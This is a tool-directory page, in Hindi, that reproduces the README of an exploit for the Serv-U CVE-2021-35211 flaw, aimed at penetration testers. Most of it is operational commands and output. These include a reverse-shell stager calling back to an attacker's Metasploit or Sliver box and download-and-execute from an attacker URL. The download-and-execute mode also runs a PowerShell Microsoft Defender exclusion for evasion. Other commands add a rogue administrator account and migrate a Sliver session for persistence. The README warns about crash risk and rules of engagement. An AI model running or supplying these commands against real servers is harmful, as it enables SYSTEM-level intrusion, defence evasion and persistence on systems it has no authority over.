Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-35211 — Serv-U-FTP CVE-2021-35211 शोषण | Kitploit
उपकरण/GitHubGitHub/0xhaggis/cve-2021-35211
भेद्यता विश्लेषणशोषणशेलकोडपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरिमोट एक्सेस टूलपेलोड डेवलपमेंटबाइनरी शोषण
GitHub0xhaggis/cve-2021-35211

CVE-2021-35211

Serv-U-FTP CVE-2021-35211 शोषण

रिपॉजिटरी देखें
134 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Serv-U CVE-2021-35211 शोषण

DoS की संभावना - अपने जुड़ाव के नियमों की जाँच करें

यह शोषण हर बार काम नहीं करता, लेकिन यह पर्याप्त रूप से काम करता है कि लगभग 5 या 6 में से 1 बार शेलकोड चलाएगा। हालांकि, कभी-कभी असफल शोषण Serv-U सर्वर को क्रैश कर देगा। कृपया सुनिश्चित करें कि आपके जुड़ाव के नियम सेवा में हानि या गिरावट के जोखिम की अनुमति देते हैं। परीक्षण में देखे गए लक्षणों में शामिल हैं:

  • क्रैश और स्वचालित पुनरारंभ (सबसे सामान्य)
  • सफल और असफल प्रयासों के दौरान लॉग-इन उपयोगकर्ताओं का डिस्कनेक्ट होना
  • स्वचालित पुनरारंभ में विफलता के साथ क्रैश

क्रेता सावधान।

त्वरित आरंभ

संस्करण महत्वपूर्ण हैं। यह शोषण हार्ड-कोडेड ROP पतों का उपयोग करता है जो केवल Serv-U संस्करण 15.2.3.717 के विरुद्ध मान्य हैं। हम अन्य संस्करण जोड़ सकते हैं, कृपया पूछें यदि आपको Serv-U या Windows के विभिन्न संस्करणों के साथ काम करने की आवश्यकता है।

अपने लक्ष्य पर संस्करण जाँचें

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

शोषण चलाना

टूल डाउनलोड करें

यह निम्नलिखित तर्क लेता है:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

तीन मोड (या पेलोड) हैं जिन्हें आप एक सफल हमले में चला सकते हैं:

  1. stage
  2. exec
  3. downloadexec

स्टेज मोड

सफल शोषण पर, Metasploit/Sliver-संगत शेलकोड स्टेजर चलाता है। यह सभी पेलोड में सबसे कम विश्वसनीय है; इसके बजाय downloadexec पर विचार करें। इसे इस प्रकार चलाएं:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   आपके Metasploit/Sliver शेलकोड स्टेजिंग इंस्टेंस का होस्टनाम या IPv4 पता
  stagePort   आपके स्टेजिंग इंस्टेंस के लिए पोर्ट नंबर

optional arguments:
  -h, --help  इस सहायता संदेश को दिखाएं और बाहर निकलें

stageHost और stagePort आपके Sliver/Metasploit मशीन पर एक सुनने वाले हैंडलर की ओर इशारा करेंगे। आप अपनी पसंद का कोई भी पेलोड चुन सकते हैं, लेकिन मैंने पाया है कि केवल windows/x64/shell/reverse_tcp ही विश्वसनीय रूप से काम करता है। यह शर्म की बात है क्योंकि यह एन्क्रिप्टेड शेल नहीं है और आपको ऐसा कुछ चलाने से पहले अपने जुड़ाव के नियमों की जाँच करनी होगी।

फिर से, क्रेता सावधान।

इसे अपने kali बॉक्स पर चल रहे Metasploit में इस प्रकार सेट करें:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

फिर शोषण चलाएं:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

वापस kali बॉक्स पर आपको स्टेज अनुरोध और कमांड शेल शुरू होते देखना चाहिए:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

स्टेजर पेलोड में Sliver समर्थन अत्यधिक प्रायोगिक है और शायद ही कभी काम करता है। यदि यह काम करता है तो आप सामान्यतः सत्र शुरू होते और तुरंत मरते देखेंगे। लेकिन यदि आपको एक ऐसा सत्र मिलता है जो तुरंत समाप्त नहीं होता है, तो आप एक अलग प्रक्रिया में माइग्रेट करके अपने Sliver एक्सेस को बनाए रखने के लिए कदम उठा सकते हैं।

अपने Sliver सर्वर पर अपना लिसनर सेट करने के लिए stage-listener कमांड चलाएं। स्टेजिंग के बारे में अधिक जानकारी के लिए Sliver दस्तावेज़ देखें:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

शोषण को स्टेज मोड में चलाएं:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

यदि शोषण काम करता है (और यह Sliver या Meterpreter पेलोड के साथ बहुत कम काम करता है), तो आप कुछ इस तरह देखेंगे (और हाँ, Sliver ने वह पेलोड नाम पूरी तरह से खुद बनाया!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

आपको सबसे पहले एक अलग प्रक्रिया में माइग्रेट करना चाहिए क्योंकि एक अच्छा मौका है कि आपका Sliver सत्र मर जाएगा और वापस नहीं आएगा, और मैं लिखने के समय मूल कारण नहीं जानता।

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

इस बिंदु पर आपके पास एक ठोस Sliver सत्र होना चाहिए जो Serv-U और इस शोषण की अनियमितताओं से प्रतिरक्षित हो।

डाउनलोड और निष्पादन मोड

सबसे विश्वसनीय मोड और Microsoft Defender एंड-पॉइंट सुरक्षा द्वारा पकड़े जाने की सबसे कम संभावना। ऐसा इसलिए है क्योंकि यह Microsoft Defender में एक निर्देशिका बहिष्करण जोड़ने के लिए एक Powershell कमांड (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") का उपयोग करता है ताकि Sliver/Meterpreter/जो भी बाइनरी मैलवेयर के लिए स्कैन न हों। यह आपको Windows Defender से बचाएगा, लेकिन बस इतना ही; आपको अन्य एंड-पॉइंट सुरक्षा तकनीक, नेटवर्क IDS आदि का हिसाब रखना होगा।

सफलता पर, एक URL से एक बाइनरी डाउनलोड करता है और उसे निष्पादित करता है। आपको अपनी निष्पादन योग्य फ़ाइल होस्ट करने वाले एक वेबसर्वर की आवश्यकता होगी। मैंने Python का उपयोग किया, लेकिन कृपया ध्यान दें कि मैं SSL के बिना स्थानीय नेटवर्क पर परीक्षण कर रहा हूं। वास्तविक शोषण में यदि आप अनएन्क्रिप्टेड URL का उपयोग करना चाहते हैं तो आपको अपने जुड़ाव के नियमों की जाँच करनी होगी।

पहली बार नहीं: क्रेता सावधान।

एक सरल HTTP लिसनर इस प्रकार चलाएं:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

लिसनर चलने के साथ आप शोषण चला सकते हैं:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

आपको अपने लिसनर में कुछ इस तरह देखना चाहिए:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

लक्ष्य calc.exe को निष्पादित करेगा और उपयोगकर्ताओं को फिर से कनेक्ट करने की अनुमति देने के लिए Serv-U सेवा को पुनरारंभ करेगा। ध्यान दें कि निष्पादन योग्य एक विंडो प्रस्तुत नहीं करेगा, लेकिन यदि आप यह उदाहरण चलाते हैं तो आपको कार्य प्रबंधक में wincalc.exe देखना चाहिए।

कमांड निष्पादन मोड

सफलता पर, लक्ष्य पर एक कमांड चलाता है। इसे इस प्रकार चलाएं:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

श्रेय

  • Microsoft के शोधकर्ता जिन्होंने भेद्यता का फ़ज़ किया: https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson ने वह PoC किया जिस पर मेरा कोड आधारित है: https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

अंतिम विचार

यह शोषण दुर्भाग्य से दूरस्थ प्रक्रिया को क्रैश करता है। आम तौर पर यह पुनरारंभ होता है और मैं देख रहा हूं कि क्या मैं इसे और अधिक स्थिर बना सकता हूं, लेकिन तब तक कृपया याद रखें: अपने जुड़ाव के नियमों की जाँच करें और क्रेता सावधान रहें।